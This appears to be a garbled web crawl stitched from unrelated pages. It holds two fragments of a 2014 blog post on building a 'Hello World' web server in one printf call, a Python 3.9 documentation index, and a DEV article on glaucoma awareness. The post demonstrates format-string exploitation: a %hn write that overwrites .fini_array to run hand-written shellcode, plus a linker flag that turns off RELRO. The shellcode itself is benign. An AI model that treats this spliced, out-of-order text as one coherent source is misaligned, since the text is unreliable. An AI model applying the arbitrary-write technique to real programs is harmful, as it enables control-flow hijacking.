"\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3"; If we remove the function hello and insert that shell code, that code will be called. That code is just a string, so we can append it to the “%*c%hn%*c%hn” format string. This string is unnamed, so we will need to find the address after we compile it. To obtain the address, we need to compile the code, then disassemble it: objdump -d webserver 00000000004004fd <main>: 4004fd: 55 push %rbp 4004fe: 48 89 e5 mov %rsp,%rbp 400501: 48 83 ec 20 sub $0x20,%rsp 400505: 89 7d fc mov %edi,-0x4(%rbp) 400508: 48 89 75 f0 mov %rsi,-0x10(%rbp) 40050c: c7 04 24 d8 07 60 00 movl $0x6007d8,(%rsp) 400513: 41 b9 00 00 00 00 mov $0x0,%r9d 400519: 41 b8 94 05 00 00 mov $0x594,%r8d 40051f: b9 da 07 60 00 mov $0x6007da,%ecx 400524: ba 00 00 00 00 mov $0x0,%edx 400529: be 40 00 00 00 mov $0x40,%esi 40052e: bf c8 05 40 00 mov $0x4005c8,%edi 400533: b8 00 00 00 00 mov $0x0,%eax 400538: e8 a3 fe ff ff callq 4003e0 <printf@plt> 40053d: c9 leaveq 40053e: c3 retq 40053f: 90 nop We only need to care about this line: mov $0x4005c8,%edi That is the address that we need in: #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) The +12 is needed because our shell code starts after the string “%*c%hn%*c%hn” which is 12 characters long. If you are curious about the shell code, it was created from the following C code. #include<stdio.h> #include<string.h> #include<stdlib.h> #include<unistd.h> #include<sys/types.h> #include<sys/stat.h> #include<sys/socket.h> #include<arpa/inet.h> #include<netdb.h> #include<signal.h> #include<fcntl.h> int main(int argc, char *argv[]) { int sockfd = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in serv_addr; bzero((char *)&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(8080); bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); listen(sockfd, 5); while (1) { int cfd = accept(sockfd, 0, 0); char *s = "HTTP/1.0 200\r\nContent-type:text/html\r\n\r\n<h1>Hello world!</h1>"; if (fork()==0) { write(cfd, s, strlen(s)); shutdown(cfd, SHUT_RDWR); close(cfd); } } return 0; } I have done an extra effort (although it is not really necessary in this case) to remove all NUL character from the shell code (since I couldn’t find one for X86-64 in the Shellcodes database ). Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search . It is left as an exercise for the reader to scale the web server to able to handle Google search load. Source codes for this post is available at https://github.com/yohanes/printf-webserver For people who thinks that this is useless: yes it is useless. I just happen to like this challenge, and it has refreshed my memory and knowledge for the following topics: shell code writing (haven’t done this in years), AMD64 assembly (calling convention, preserved registers, etc), syscalls, objdump, fini_array (last time I checked, gcc still used .dtors), printf format exploiting, gdb tricks (like writing memory block to file), and low level socket code (I have been using boost’s for the past few years). Update : Ubuntu adds a security feature that provides a read-only relocation table area in the final ELF. To be able to run the examples in ubuntu, add this in the command line when compiling -Wl,-z,norelro e.g: gcc -Wl,-z,norelro test.c Author admin Posted on March 12, 2014 April 28, 2017 Categories hacks 18 thoughts on “Implementing a web server in a single printf() call” dodi says: March 12, 2014 at 2:04 pm eh buset, serius nih lu ? 🙂 Reply priyo says: March 13, 2014 at 5:07 am scroll up… scroll down… scroll up… scroll down… 100x *gagal paham* Reply terminalcommand says: March 13, 2014 at 5:19 am Thank you! Very interesting article. I also didn’t know about the one line webserver at google. Although this is a hard topic, you’ve made a great work simplifying it. Reply Basun says: March 13, 2014 at 10:02 am The one line webserver bit is a joke about Jeff Dean, who works at Google. Its not real. 🙂 Reply Cees Timmerman says: April 20, 2016 at 4:12 pm There are real webserver oneliners: https://gist.github.com/willurd/5720255 Reply anonim says: March 13, 2014 at 5:29 am Diskusinya di https://news.ycombinator.com/item?id=7389623 Reply Neil says: March 13, 2014 at 12:38 pm Shouldn’t there be an exit() somewhere in the fork==0 branch? Otherwise every time there is a request the new child process will become a server too and start accepting requests, right? I think the parent leaks its copy of the file descriptor too. Maybe the fork is a bit redundant. I don’t think the write or close will block with such a small amount of data. Cool post though! I’m not really sure why I’m nitpicking in the shell code. Sorry. Reply admin says: March 14, 2014 at 1:58 am Ah yes, there is an exit from the loop on the assembly code (myhttp.s) but it got removed from http.c when I removed the comment and debug code. And you are also right about the fork, it is unnecessary in this case. At first I was going to write the HTTP headers and then exec some external command. I changed my mind and didn’t bother deleting the fork call. Reply Kyle Ross says: March 13, 2014 at 11:02 pm This is really interesting, but I’m having trouble following whats actually happening. Could you explain how you reduced that C code with includes and methods into a string containing hex codes and how that is turned back into some sort of executable code? Thanks Reply admin says: March 14, 2014 at 2:01 am I think it is beyond the scope of this article to explain about shell code writing. There are many books and tutorials that you can read (just search for “buffer overflow” or “shell code writing”). Reply TTK Ciar says: March 14, 2014 at 1:05 am Alternatively: $ perl -Mojo -E ‘a({inline => “%= `uptime`”})->start’ daemon & Server available at http://127.0.0.1:3000 . $ lynx -dump -nolist http://127.0.0.1:3000/ 17:57:56 up 66 days, 6:45, 108 users, load average: 0.10, 0.12, 0.07 though, perl by definition is cheating. Reply Evan Danaher says: March 14, 2014 at 2:54 pm I’m not sure why you used finalizers instead of just changing the return address on the stack; this may be the first time I’ve ever said this, but stack smashing is much more portable. I’ve made a variant that I’d expect to work on any gcc 4.4-4.7 on x86_64 Linux, and have some ideas which, if they work out, may make it actually “portable” to any x86/x86_64 Unix running a reasonable compiler. https://github.com/edanaher/printf-webserver Reply admin says: March 17, 2014 at 3:02 pm Yes using the stack is also possible, but on most modern system, GCC is compiled with stack protection turned on (and needs to be disabled using -fno-stack-protector). Reply Pingback: Implementing a web server in a single printf() call « adafruit industries blog Itzik Kotler says: March 15, 2014 at 4:35 pm Pretty neat. I did something similar (all though simpler) back in the days. See: http://www.exploit-db.com/papers/13233/ Reply Pingback: Saving the world, one cpu cycle at a time | Dav's bit o the web programath says: April 22, 2014 at 1:18 pm printf(“%*c%hn%*c%hn”, b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); ————————————————— i think the fourth parameter should be ‘a-b’, not ‘b-a’, because a == b + (a – b) Reply Pingback: New top story on Hacker News: Implementing a web server in a single printf call (2014) – Latest news Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. 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https://docs.python.org/3.9/ | 3.9.24 Documentation Download Download these documents Docs by version Stable In development All versions Other resources PEP Index Beginner's Guide Book List Audio/Visual Talks Python Developer’s Guide This document is for an old version of Python that is no longer supported. You should upgrade, and read the Python documentation for the current stable release . Navigation index modules | Python » 3.9.24 Documentation » | Python 3.9.24 documentation Welcome! This is the official documentation for Python 3.9.24. Parts of the documentation: What's new in Python 3.9? or all "What's new" documents since 2.0 Tutorial start here Library Reference keep this under your pillow Language Reference describes syntax and language elements Python Setup and Usage how to use Python on different platforms Python HOWTOs in-depth documents on specific topics Installing Python Modules installing from the Python Package Index & other sources Distributing Python Modules publishing modules for installation by others Extending and Embedding tutorial for C/C++ programmers Python/C API reference for C/C++ programmers FAQs frequently asked questions (with answers!) Indices and tables: Global Module Index quick access to all modules General Index all functions, classes, terms Glossary the most important terms explained Search page search this documentation Complete Table of Contents lists all sections and subsections Meta information: Reporting bugs Contributing to Docs About the documentation History and License of Python Copyright Download Download these documents Docs by version Stable In development All versions Other resources PEP Index Beginner's Guide Book List Audio/Visual Talks Python Developer’s Guide Navigation index modules | Python » 3.9.24 Documentation » | © Copyright 2001-2025, Python Software Foundation. This page is licensed under the Python Software Foundation License Version 2. Examples, recipes, and other code in the documentation are additionally licensed under the Zero Clause BSD License. See History and License for more information. The Python Software Foundation is a non-profit corporation. Please donate. Last updated on Nov 01, 2025. Found a bug ? Created using Sphinx 2.4.4. | 2026-01-13T08:48:55 |
https://dev.to/tatyanabayramova/glaucoma-awareness-month-363o#what-can-you-do-to-support-people-with-glaucoma | Glaucoma Awareness Month - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Add reaction Like Unicorn Exploding Head Raised Hands Fire Jump to Comments Save Boost More... Copy link Copy link Copied to Clipboard Share to X Share to LinkedIn Share to Facebook Share to Mastodon Share Post via... Report Abuse Tatyana Bayramova, CPACC Posted on Jan 11 • Originally published at tatanotes.com Glaucoma Awareness Month # a11y # discuss # news Glaucoma is one of the leading causes of blindness worldwide, affecting millions of people. It is estimated that approximately 80 million people globally have glaucoma, and the number is projected to grow to over 111 million by 2040 . Glaucoma is commonly known as the "silent thief of sight" because it usually has no symptoms in its early stages. With this condition, the optic nerve gets damaged slowly, leading to vision field reduction and, if left untreated, blindness. High intraocular pressure (IOP) is a major risk factor for glaucoma. Elevated IOP can damage the optic nerve fibers, leading to progressive vision loss, resulting in glaucoma. However, glaucoma can also occur in individuals with normal IOP levels, known as normal-tension glaucoma. High IOP alone is not a definitive indicator of glaucoma. Unfortunately, due to late diagnosis, one person I know lost their vision. Even though glaucoma has no cure yet, blindness could be prevented with regular eye exams and early treatment, such as applying eye drops, or performing an SLT procedure that helps lower IOP to prevent further damage to the optic nerve. What can you do to support people with glaucoma? Learn more about needs of people with glaucoma Glaucoma affects the way people perceive the environment. Use vision simulators like Glaucoma Vision Simulator or NoCoffee vision simulator for Firefox to understand how glaucoma affects vision. Adapt your digital and physical projects so that they're easy to use with visual impairments. Similar simulators exist for other visual impairments as well. For digital content, follow WCAG and PDF/UA standards WCAG criteria like 1.1.1. Non-text Content (Level A) , 1.4.4 Resize Text (Level AA) , and 4.1.2 Name, Role, Value (Level A) address needs of people with visual impairments, including glaucoma. This is not an exhaustive list, and you should aim to follow other WCAG criteria to ensure your digital content is accessible to people with disabilities. To ensure PDF accessibility, follow PDF/UA (PDF for Universal Access) standard. This will help make your documents accessible by users of assistive technologies, such as screen readers. Ensure compliance with EN 301 549 standard for a wider range of products European standard EN 301 549 specifies accessibility requirements for a broad range of products and services, including hardware, software, websites, and electronic documents. By following this standard, you can make your digital content is accessible to people with disabilities, including those with visual impairments like glaucoma. Complying with these standards is a great first step, but keep in mind that no guideline or automated tool guarantees accessibility. An effective way to ensure accessibility is to conduct accessibility user testing with people with disabilities. Accomodate for people with visual impairments, including glaucoma Adopt accessible practices in the physical world. Design physical spaces with accessibility in mind — for example, provide printed materials and signage in Braille or large print, whenever possible. To help people with glaucoma navigate the environment, install tactile paving. Support your local glaucoma organizations There are many organizations around the world that support glaucoma research, provide guidance and support groups for people with glaucoma. You can find a glaucoma society in your country on the World Glaucoma Association's list of member societies . Here are some glaucoma organizations you can support: European Glaucoma Society National Glaucoma Patient Support Groups American Glaucoma Society Glaucoma Research Society of Canada Glaucoma Australia By keeping accessibility barriers in mind, we can help ensure that individuals with glaucoma and other visual impairments can access and benefit from the great variety of products and public services. Sources How fast does glaucoma progress without treatment? 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Hide child comments as well Confirm For further actions, you may consider blocking this person and/or reporting abuse Tatyana Bayramova, CPACC Follow Senior Software Engineer | CPACC | IAAP Member | Accessibility Joined Dec 3, 2024 More from Tatyana Bayramova, CPACC Accessibility Testing on Windows on Mac # a11y # testing # web # discuss Our Rights, Our Future, Right Now - Celebrating Human Rights Day # a11y # discuss # news # learning Today is the International Day of Persons with Disabilities # a11y # webdev # frontend # discuss 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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Right menu I Almost Fell for a “Last Wish” Scam : Here’s What You Need to Know Om Shree Om Shree Om Shree Follow Jan 12 I Almost Fell for a “Last Wish” Scam : Here’s What You Need to Know # discuss # scam # security # privacy 23 reactions Comments Add Comment 4 min read Why AI-Powered Smart Toothbrushing Is the Next Big Health Tech Trend Asher Asher Asher Follow Dec 29 '25 Why AI-Powered Smart Toothbrushing Is the Next Big Health Tech Trend # discuss 1 reaction Comments Add Comment 2 min read How Lifetime Free Consumables Programs Can Change Consumer Tech Adoption Asher Asher Asher Follow Dec 29 '25 How Lifetime Free Consumables Programs Can Change Consumer Tech Adoption # discuss Comments Add Comment 2 min read Why Fintech and Crypto are a Match Made in Digital Heaven Emir Taner Emir Taner Emir Taner Follow Dec 16 '25 Why Fintech and Crypto are a Match Made in Digital Heaven # news # web3 # discuss 3 reactions Comments Add Comment 2 min read The AI Bubble 2025: How the Boom Occurred and Transformed Industries Globally Vansh Saxena Vansh Saxena Vansh Saxena Follow Dec 17 '25 The AI Bubble 2025: How the Boom Occurred and Transformed Industries Globally # discuss # ai # watercooler Comments 1 comment 5 min read Tech Pulse: Wrapping 2025, Igniting 2026 Om Shree Om Shree Om Shree Follow Jan 4 Tech Pulse: Wrapping 2025, Igniting 2026 # discuss # ai # security # science 25 reactions Comments Add Comment 3 min read The future grzegorzgrzegorz grzegorzgrzegorz grzegorzgrzegorz Follow Nov 30 '25 The future # discuss 3 reactions Comments Add Comment 2 min read The AI Hype Reckoning: A 2025 Retrospective on the Bubble That Burst Expectations Om Shree Om Shree Om Shree Follow Dec 31 '25 The AI Hype Reckoning: A 2025 Retrospective on the Bubble That Burst Expectations # discuss # ai # beginners # programming 24 reactions Comments 2 comments 4 min read Who Should Lead AI Governance in 2026: CIOs, CISOs, or Ethics Teams? sangram sangram sangram Follow Dec 26 '25 Who Should Lead AI Governance in 2026: CIOs, CISOs, or Ethics Teams? # discuss # management # leadership # ai 1 reaction Comments Add Comment 2 min read Designing AI Systems Enterprises Can Actually Approve aiadopts aiadopts aiadopts Follow Dec 23 '25 Designing AI Systems Enterprises Can Actually Approve # discuss # ai # productivity Comments 1 comment 10 min read The Uneven Rise of AI: From Silicon Valley Illusions to Global Divisions and Human-AI Struggles Jialu Jialu Jialu Follow Dec 18 '25 The Uneven Rise of AI: From Silicon Valley Illusions to Global Divisions and Human-AI Struggles # discuss # ai 11 reactions Comments 3 comments 3 min read Why Digital Health Summits Are Becoming the New Engine for Policy Change Sana Shaikh Sana Shaikh Sana Shaikh Follow Dec 1 '25 Why Digital Health Summits Are Becoming the New Engine for Policy Change # discuss # healthtech Comments 1 comment 4 min read Best Use Cases of Generative AI in Data Analytics for Business Growth Ravi Teja Ravi Teja Ravi Teja Follow Dec 9 '25 Best Use Cases of Generative AI in Data Analytics for Business Growth # discuss # ai # data # analytics Comments 1 comment 5 min read Making AI sound like a human should be illegal Javier Hernandez Javier Hernandez Javier Hernandez Follow Oct 27 '25 Making AI sound like a human should be illegal # discuss # changemymind # ai # security Comments Add Comment 1 min read Beyond Human Bias vesta cheeks vesta cheeks vesta cheeks Follow Oct 22 '25 Beyond Human Bias # discuss # ai # autonomy 1 reaction Comments Add Comment 1 min read 18 Innovative App Ideas to Combat Food Shortages: Insights from Thought Leaders Martin Danilanez Martin Danilanez Martin Danilanez Follow Oct 20 '25 18 Innovative App Ideas to Combat Food Shortages: Insights from Thought Leaders # discuss # agritech Comments Add Comment 11 min read AI Hubs Spark Frenzy Across Borders: From Mexico to Ireland Malik Abualzait Malik Abualzait Malik Abualzait Follow Oct 21 '25 AI Hubs Spark Frenzy Across Borders: From Mexico to Ireland # discuss # ai # programming # webdev Comments Add Comment 2 min read 📰 Tech Takes: A Whirlwind Day in Innovation on November 20, 2025 Om Shree Om Shree Om Shree Follow Nov 21 '25 📰 Tech Takes: A Whirlwind Day in Innovation on November 20, 2025 # discuss # ai # security # blockchain 15 reactions Comments 4 comments 6 min read Should AI Have Rights? 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Startari Follow Oct 22 '25 The Hidden Power of Syntax: How Language Itself Moves Financial Markets # discuss # programming # ai # blockchain 2 reactions Comments Add Comment 3 min read All the News about the New XR Glasses Hitting the Market: Galaxy XR, Oakley Meta Vanguard, Ray-Ban Meta, and More. echo3D echo3D echo3D Follow for echo3D Nov 2 '25 All the News about the New XR Glasses Hitting the Market: Galaxy XR, Oakley Meta Vanguard, Ray-Ban Meta, and More. # discuss # mixedreality # meta # google 5 reactions Comments Add Comment 7 min read Fang Junyu's Technology Weekly - September 26, 2025 junyu fang junyu fang junyu fang Follow Sep 26 '25 Fang Junyu's Technology Weekly - September 26, 2025 # discuss # manufacturing # watercooler 5 reactions Comments Add Comment 6 min read loading... trending guides/resources The AI Hype Reckoning: A 2025 Retrospective on the Bubble That Burst Expectations The Uneven Rise of AI: From Silicon Valley Illusions to Global Divisions and Human-AI Struggles Tech Pulse: Wrapping 2025, Igniting 2026 Designing AI Systems Enterprises Can Actually Approve 📰 Tech Takes: A Whirlwind Day in Innovation on November 20, 2025 Why AI-Powered Smart Toothbrushing Is the Next Big Health Tech Trend The AI Bubble 2025: How the Boom Occurred and Transformed Industries Globally The future Who Should Lead AI Governance in 2026: CIOs, CISOs, or Ethics Teams? All the News about the New XR Glasses Hitting the Market: Galaxy XR, Oakley Meta Vanguard, Ray-Ba... Best Use Cases of Generative AI in Data Analytics for Business Growth Your Competitors' Customers Are Talking. AI Is Listening. Are You? The Gen Z Privilege And The Blind Spot in AI Era Why Digital Health Summits Are Becoming the New Engine for Policy Change I Almost Fell for a “Last Wish” Scam : Here’s What You Need to Know How Lifetime Free Consumables Programs Can Change Consumer Tech Adoption 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV Future — News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. 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https://tinyhack.com/2014/03/12/implementing-a-web-server-in-a-single-printf-call/?replytocom=23565#respond | Implementing a web server in a single printf() call – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Implementing a web server in a single printf() call A guy just forwarded a joke that most of us will already know Jeff Dean Facts (also here and here ). Everytime I read that list, this part stands out: Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search. It is really possible to implement a web server using a single printf call, but I haven’t found anyone doing it. So this time after reading the list, I decided to implement it. So here is the code, a pure single printf call, without any extra variables or macros (don’t worry, I will explain how to this code works) #include <stdio.h> int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3", ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 + 2, (((unsigned long int)0x4005c8 + 12) & 0xffff)- ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 ); } This code only works on a Linux AMD64 bit system, with a particular compiler (gcc version 4.8.2 (Debian 4.8.2-16) ) And to compile it: gcc -g web1.c -O webserver As some of you may have guessed: I cheated by using a special format string . That code may not run on your machine because I have hardcoded two addresses. The following version is a little bit more user friendly (easier to change), but you are still going to need to change 2 values: FUNCTION_ADDR and DESTADDR which I will explain later: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) #define DESTADDR 0x00000000006007D8 #define a (FUNCTION_ADDR & 0xffff) #define b ((FUNCTION_ADDR >> 16) & 0xffff) int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3" , b, 0, DESTADDR + 2, a-b, 0, DESTADDR ); } I will explain how the code works through a series of short C codes. The first one is a code that will explain how that we can start another code without function call. See this simple code: #include <stdlib.h> #include <stdio.h> #define ADDR 0x00000000600720 void hello() { printf("hello world\n"); } int main(int argc, char *argv[]) { (*((unsigned long int*)ADDR))= (unsigned long int)hello; } You can compile it, but it many not run on your system. You need to do these steps: 1. Compile the code: gcc run-finalizer.c -o run-finalizer 2. Examine the address of fini_array objdump -h -j .fini_array run-finalizer And find the VMA of it: run-finalizer: file format elf64-x86-64 Sections: Idx Name Size VMA LMA File off Algn 18 .fini_array 00000008 0000000000600720 0000000000600720 00000720 2**3 CONTENTS, ALLOC, LOAD, DATA Note that you need a recent GCC to do this, older version of gcc uses different mechanism of storing finalizers. 3. Change the value of ADDR on the code to the correct address 4. Compile the code again 5. Run it and now you will see “hello world” printed to your screen. How does this work exactly?: According to Chapter 11 of Linux Standard Base Core Specification 3.1 .fini_array This section holds an array of function pointers that contributes to a single termination array for the executable or shared object containing the section. We are overwriting the array so that our hello function is called instead of the default handler. If you are trying to compile the webserver code, the value of ADDR is obtained the same way (using objdump). Ok, now we know how to execute a function by overriding a certain address, we need to know how we can overwrite an address using printf . You can find many tutorials on how to exploit format string bugs, but I will try give a short explanation. The printf function has this feature that enables us to know how many characters has been printed using the “%n” format: #include <stdio.h> int main(){ int count; printf("AB%n", &count); printf("\n%d characters printed\n", count); } You will see that the output is: AB 2 characters printed Of course we can put any address to the count pointer to overwrite that address. But to overide an address with a large value we need to print a large amount of text. Fortunately there is another format string “%hn” that works on short instead of int. We can overwrite the value 2 bytes at a time to form the 4 byte value that we want. Lets try to use two printf calls to put a¡ value that we want (in this case the pointer to function “hello”) to the fini_array: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)hello) #define DESTADDR 0x0000000000600948 void hello() { printf("\n\n\n\nhello world\n\n"); } int main(int argc, char *argv[]) { short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("a = %04x b = %04x\n", a, b) uint64_t *p = (uint64_t*)DESTADDR; printf("before: %08lx\n", *p); printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("after1: %08lx\n", *p); printf("%*c%hn", a, 0, DESTADDR); printf("after2: %08lx\n", *p); return 0; } The important lines are: short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("%*c%hn", a, 0, DESTADDR); The a and b are just halves of the function address, we can construct a string of length a and b to be given to printf, but I chose to use the “%*” formatting which will control the length of the output through parameter. For example, this code: printf("%*c", 10, 'A'); Will print 9 spaces followed by A, so in total, 10 characters will be printed. If we want to use just one printf, we need to take account that b bytes have been printed, and we need to print another b-a bytes (the counter is accumulative). printf("%*c%hn%*c%hn", b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); Currently we are using the “hello” function to call, but we can call any function (or any address). I have written a shellcode that acts as a web server that just prints “Hello world”. This is the shell code that I made: unsigned char hello[] = "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3"; If we remove the function hello and insert that shell code, that code will be called. That code is just a string, so we can append it to the “%*c%hn%*c%hn” format string. This string is unnamed, so we will need to find the address after we compile it. To obtain the address, we need to compile the code, then disassemble it: objdump -d webserver 00000000004004fd <main>: 4004fd: 55 push %rbp 4004fe: 48 89 e5 mov %rsp,%rbp 400501: 48 83 ec 20 sub $0x20,%rsp 400505: 89 7d fc mov %edi,-0x4(%rbp) 400508: 48 89 75 f0 mov %rsi,-0x10(%rbp) 40050c: c7 04 24 d8 07 60 00 movl $0x6007d8,(%rsp) 400513: 41 b9 00 00 00 00 mov $0x0,%r9d 400519: 41 b8 94 05 00 00 mov $0x594,%r8d 40051f: b9 da 07 60 00 mov $0x6007da,%ecx 400524: ba 00 00 00 00 mov $0x0,%edx 400529: be 40 00 00 00 mov $0x40,%esi 40052e: bf c8 05 40 00 mov $0x4005c8,%edi 400533: b8 00 00 00 00 mov $0x0,%eax 400538: e8 a3 fe ff ff callq 4003e0 <printf@plt> 40053d: c9 leaveq 40053e: c3 retq 40053f: 90 nop We only need to care about this line: mov $0x4005c8,%edi That is the address that we need in: #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) The +12 is needed because our shell code starts after the string “%*c%hn%*c%hn” which is 12 characters long. If you are curious about the shell code, it was created from the following C code. #include<stdio.h> #include<string.h> 